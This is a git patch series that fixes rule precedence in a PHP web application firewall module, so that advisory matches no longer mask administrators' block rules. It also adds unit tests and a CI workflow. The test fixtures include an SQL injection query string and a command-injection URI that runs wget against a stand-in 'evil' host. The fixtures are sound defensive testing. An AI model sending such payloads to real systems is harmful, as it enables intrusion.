From b3f6a6aa98c0d7eb389115b6bba0a0099c884c07 Mon Sep 17 00:00:00 2001 From: "Beau Beauchamp, WebTigers" Date: Thu, 10 Sep 2026 06:27:28 -0400 Subject: [PATCH 1/2] fix(waf): an advisory match must not mask custom enforcement (TIGER-82) inspect() returned on the FIRST shipped match. A soft category is capped at 'log', and waf.action itself defaults to 'log', while custom admin rules were only evaluated when nothing shipped had matched at all. So a request matching BOTH a shipped heuristic AND an administrator's custom block rule was ALLOWED: the observe-only verdict shadowed the policy that said block, and the firewall plugin correctly let a 'log' through. The precedence gap is the bug, not the ordering: an advisory rule may inform, never mask. Everything is now evaluated and the STRONGEST action wins (log < captcha < block), keeping the label of whichever rule produced it. It short-circuits only on a block, which nothing can outrank. Deliberately unchanged: learn/off mode and the outage fail-open both live downstream in the firewall plugin, which still never enforces a 'log'. Also adds a test harness -- this module shipped with none, and it is a security module whose enforcement logic just changed. 7 tests, mutation-verified: restoring first-match-wins fails both masking tests. The suite includes the control that matters in the other direction too, since "always return block" would satisfy the masking tests while turning a heuristic into a site-breaking rule: an advisory match ALONE must still be advisory, and a log-only custom rule must not soften a shipped block. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01L8p9pLJ3DFstG3xZuh2QgZ --- .gitignore | 3 + phpunit.xml | 19 ++++ services/Waf.php | 53 +++++++++-- tests/Unit/WafPrecedenceTest.php | 157 +++++++++++++++++++++++++++++++ tests/bootstrap.php | 68 +++++++++++++ 5 files changed, 291 insertions(+), 9 deletions(-) create mode 100644 phpunit.xml create mode 100644 tests/Unit/WafPrecedenceTest.php create mode 100644 tests/bootstrap.php diff --git a/.gitignore b/.gitignore index 187669e..26654e4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ .idea/ .DS_Store vendor/ + +# PHPUnit +/.phpunit.cache/ diff --git a/phpunit.xml b/phpunit.xml new file mode 100644 index 0000000..c15eb2e --- /dev/null +++ b/phpunit.xml @@ -0,0 +1,19 @@ + + + + + + tests/Unit + + + diff --git a/services/Waf.php b/services/Waf.php index d5c3dca..122afed 100644 --- a/services/Waf.php +++ b/services/Waf.php @@ -45,27 +45,62 @@ public function inspect(Zend_Controller_Request_Abstract $request) $surface = $this->_surface($request, $needBody); $wafAction = $this->_config('waf.action', 'log'); + // STRONGEST action wins, not first match. + // + // This used to return on the first shipped hit, so an ADVISORY match could mask enforcement: + // a soft category is capped at 'log', and waf.action itself defaults to 'log', while custom + // admin rules were only evaluated if nothing shipped had matched at all. A request that + // matched both a shipped heuristic AND an administrator's custom block rule was therefore + // ALLOWED — the weaker, observe-only verdict shadowed the policy that said block. + // + // Advisory rules must inform, never mask. Everything is evaluated and the highest-ranked + // action is returned (log < captcha < block), keeping the label of whichever rule produced + // it. Learn/off mode and the fail-open behaviour are untouched: they are decided downstream + // in the firewall plugin, which still never enforces a 'log'. + $verdict = null; + $take = function ($label, $action) use (&$verdict) { + $action = $this->_norm($action); + $rank = self::_rank($action); + if ($verdict === null || $rank > $verdict['rank']) { + $verdict = ['label' => (string) $label, 'action' => $action, 'rank' => $rank]; + } + return $rank >= self::_rank('block'); // nothing outranks a block — safe to stop early + }; + // Shipped ruleset — each category against its surface, plus the body for content categories. foreach ($this->_rules() as $key => $cat) { if (!$this->_categoryEnabled($key)) { continue; } $soft = ($cat['tier'] ?? 'high') === 'soft'; + $act = $soft ? 'log' : $wafAction; if ($this->_matchNeedles($cat, $surface[$cat['in'] ?? 'path'] ?? '')) { - return ['label' => (string) ($cat['label'] ?? $key), 'action' => $this->_norm($soft ? 'log' : $wafAction)]; + if ($take((string) ($cat['label'] ?? $key), $act)) { break; } } if ($needBody && !empty($cat['body']) && isset($surface['body']) && $this->_matchNeedles($cat, $surface['body'])) { - return ['label' => (string) ($cat['label'] ?? $key) . ' (body)', 'action' => $this->_norm($soft ? 'log' : $wafAction)]; + if ($take((string) ($cat['label'] ?? $key) . ' (body)', $act)) { break; } } } - // Custom admin rules (from the compiled cache) — each carries its own action. - foreach ($custom as $r) { - $val = $surface[$r['target'] ?? 'query'] ?? ''; - if ($val === '') { continue; } - if ($this->_matchPattern($r['match'] ?? 'contains', (string) ($r['pattern'] ?? ''), $val)) { - return ['label' => (string) ($r['label'] ?? 'custom') . ' (custom)', 'action' => $this->_norm($r['action'] ?? 'log')]; + // Custom admin rules — now ALWAYS evaluated unless a block is already certain. + if ($verdict === null || $verdict['rank'] < self::_rank('block')) { + foreach ($custom as $r) { + $val = $surface[$r['target'] ?? 'query'] ?? ''; + if ($val === '') { continue; } + if ($this->_matchPattern($r['match'] ?? 'contains', (string) ($r['pattern'] ?? ''), $val)) { + if ($take((string) ($r['label'] ?? 'custom') . ' (custom)', $r['action'] ?? 'log')) { break; } + } } } - return null; + + if ($verdict === null) { return null; } + unset($verdict['rank']); + return $verdict; + } + + /** Enforcement strength. A weaker verdict must never displace a stronger one. */ + private static function _rank($action) + { + $ranks = ['log' => 0, 'captcha' => 1, 'block' => 2]; + return $ranks[$action] ?? 0; } // -- internals ----------------------------------------------------------------------------------- diff --git a/tests/Unit/WafPrecedenceTest.php b/tests/Unit/WafPrecedenceTest.php new file mode 100644 index 0000000..796e224 --- /dev/null +++ b/tests/Unit/WafPrecedenceTest.php @@ -0,0 +1,157 @@ +setConfig([]); + $this->setCustomRules([]); + (new ReflectionProperty(Tigershield_Service_Waf::class, '_rules'))->setValue(null, null); + } + + protected function tearDown(): void + { + $this->setCustomRules([]); + Zend_Registry::_unsetInstance(); + parent::tearDown(); + } + + private function setConfig(array $shield): void + { + Zend_Registry::_unsetInstance(); + Zend_Registry::set('Zend_Config', new Zend_Config(['tiger' => ['tigershield' => $shield]], true)); + } + + /** Inject the compiled custom-rule set (normally read from the rule cache). */ + private function setCustomRules(array $rules): void + { + (new ReflectionProperty(Tigershield_Service_Waf::class, '_custom'))->setValue(null, $rules); + } + + private function request(string $uri, string $ua = 'Mozilla/5.0'): Zend_Controller_Request_Http + { + $_SERVER['REQUEST_URI'] = $uri; + $_SERVER['REQUEST_METHOD'] = 'GET'; + $_SERVER['HTTP_USER_AGENT'] = $ua; + return new Zend_Controller_Request_Http('http://example.test' . $uri); + } + + /** A query that trips the SOFT sqli heuristic — capped at 'log', i.e. advisory. */ + private const ADVISORY_URI = '/search?q=1%20union%20select%20password%20from%20users'; + + // ---- the bug ---------------------------------------------------------------------------------- + + #[Test] + public function an_advisory_match_does_not_mask_a_custom_block(): void + { + $this->setCustomRules([ + ['label' => 'Block evil', 'target' => 'query', 'match' => 'contains', 'pattern' => 'password', 'action' => 'block'], + ]); + + $hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI)); + + $this->assertNotNull($hit, 'the request matches something'); + $this->assertSame('block', $hit['action'], + 'the administrator said BLOCK; a soft advisory heuristic must not downgrade that to log'); + } + + #[Test] + public function an_advisory_match_does_not_mask_a_custom_captcha(): void + { + $this->setCustomRules([ + ['label' => 'Challenge', 'target' => 'query', 'match' => 'contains', 'pattern' => 'password', 'action' => 'captcha'], + ]); + + $hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI)); + + $this->assertSame('captcha', $hit['action']); + } + + // ---- controls: the fix must not make everything a block --------------------------------------- + + #[Test] + public function an_advisory_match_on_its_own_stays_advisory(): void + { + // The positive control. Without it, "always return block" would satisfy the tests above and + // turn a heuristic into a site-breaking enforcement rule. + $hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI)); + + $this->assertNotNull($hit, 'the soft heuristic still matches'); + $this->assertSame('log', $hit['action'], 'and is still observe-only when nothing stronger applies'); + } + + #[Test] + public function a_clean_request_matches_nothing(): void + { + $this->setCustomRules([ + ['label' => 'Block evil', 'target' => 'query', 'match' => 'contains', 'pattern' => 'zzz-not-here', 'action' => 'block'], + ]); + + $this->assertNull((new Tigershield_Service_Waf())->inspect($this->request('/about?page=2'))); + } + + #[Test] + public function a_custom_rule_alone_still_applies(): void + { + // Custom rules used to be reachable only when nothing shipped matched — that path must still work. + $this->setCustomRules([ + ['label' => 'No bots', 'target' => 'query', 'match' => 'contains', 'pattern' => 'crawl', 'action' => 'block'], + ]); + + $hit = (new Tigershield_Service_Waf())->inspect($this->request('/index?crawl=1')); + + $this->assertSame('block', $hit['action']); + $this->assertStringContainsString('custom', $hit['label']); + } + + #[Test] + public function a_weaker_custom_rule_never_downgrades_a_stronger_shipped_verdict(): void + { + // Precedence has to hold in BOTH directions, or the fix just moves the bug. + $this->setConfig(['waf' => ['action' => 'block']]); + $this->setCustomRules([ + ['label' => 'Just watch', 'target' => 'query', 'match' => 'contains', 'pattern' => 'union', 'action' => 'log'], + ]); + + // `rce` is a HIGH-tier query category, so it takes waf.action = block. + $hit = (new Tigershield_Service_Waf())->inspect($this->request('/x?cmd=%3Bwget%20http://evil')); + + $this->assertNotNull($hit); + $this->assertSame('block', $hit['action'], 'a log-only custom rule cannot soften a shipped block'); + } + + #[Test] + public function the_configured_action_still_governs_high_tier_categories(): void + { + $this->setConfig(['waf' => ['action' => 'captcha']]); + $hit = (new Tigershield_Service_Waf())->inspect($this->request('/x?cmd=%3Bwget%20http://evil')); + + $this->assertNotNull($hit); + $this->assertSame('captcha', $hit['action'], 'waf.action is still honoured for high-tier rules'); + } +} diff --git a/tests/bootstrap.php b/tests/bootstrap.php new file mode 100644 index 0000000..0872f02 --- /dev/null +++ b/tests/bootstrap.php @@ -0,0 +1,68 @@ + class names). +spl_autoload_register(static function ($class) use ($moduleRoot) { + if (strncmp($class, 'Tigershield_', 12) !== 0) { return; } + if (preg_match('/^Tigershield_Service_(.+)$/', $class, $m)) { + $rel = 'services/' . str_replace('_', '/', $m[1]) . '.php'; + } elseif (preg_match('/^Tigershield_Model_(.+)$/', $class, $m)) { + $rel = 'models/' . str_replace('_', '/', $m[1]) . '.php'; + } elseif (preg_match('/^Tigershield_Plugin_(.+)$/', $class, $m)) { + $rel = 'plugins/' . str_replace('_', '/', $m[1]) . '.php'; + } elseif (preg_match('/^Tigershield_(.+)Controller$/', $class, $m)) { + $rel = 'controllers/' . $m[1] . 'Controller.php'; + } else { + $rel = str_replace('_', '/', substr($class, 12)) . '.php'; + } + $file = $moduleRoot . '/' . $rel; + if (is_file($file)) { require $file; } +}); + +spl_autoload_register(static function ($class) { + $prefix = 'TigerShield\\Tests\\'; + if (strncmp($class, $prefix, strlen($prefix)) !== 0) { return; } + $file = __DIR__ . '/' . str_replace('\\', '/', substr($class, strlen($prefix))) . '.php'; + if (is_file($file)) { require $file; } +}); From 8719033c51fa04dcfa3fe9ce66ab31fa8bfa15d1 Mon Sep 17 00:00:00 2001 From: "Beau Beauchamp, WebTigers" Date: Thu, 10 Sep 2026 07:17:29 -0400 Subject: [PATCH 2/2] ci: run the new test suite on every PR The suite added alongside the TIGER-82 fix would otherwise never run: this repo had no PR workflow at all, so a security module's enforcement tests would sit in the tree guarding nothing. Unit-only, so no database service is needed -- the WAF service reads config from the registry and rules from a file. Dependencies come from a sibling tiger-core checkout, the same pattern TigerStripe and TigerShop use. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01L8p9pLJ3DFstG3xZuh2QgZ --- .github/workflows/tests.yml | 46 +++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 .github/workflows/tests.yml diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 0000000..69cdd09 --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,46 @@ +name: tests + +# TigerShield's suite is unit-only (no DB): the WAF service reads its config from the registry and +# its rules from a file, so there is nothing to provision. Dependencies (Tiger_*, Zend_* via tigerzf, +# PHPUnit) come from a sibling tiger-core checkout, which the test bootstrap resolves. +on: + push: + branches: [ main, master ] + pull_request: + +jobs: + phpunit: + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + php: [ '8.1', '8.4' ] + + steps: + - name: Checkout TigerShield + uses: actions/checkout@v4 + with: + path: TigerShield + + # tiger-core is public (BSD-3); no token needed. + - name: Checkout tiger-core (test dependencies) + uses: actions/checkout@v4 + with: + repository: WebTigers/TigerCore + path: tiger-core + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + extensions: mbstring + coverage: none + + - name: Install tiger-core dev dependencies + working-directory: tiger-core + run: composer install --no-interaction --no-progress + + - name: Run PHPUnit + working-directory: TigerShield + run: ../tiger-core/vendor/bin/phpunit -c phpunit.xml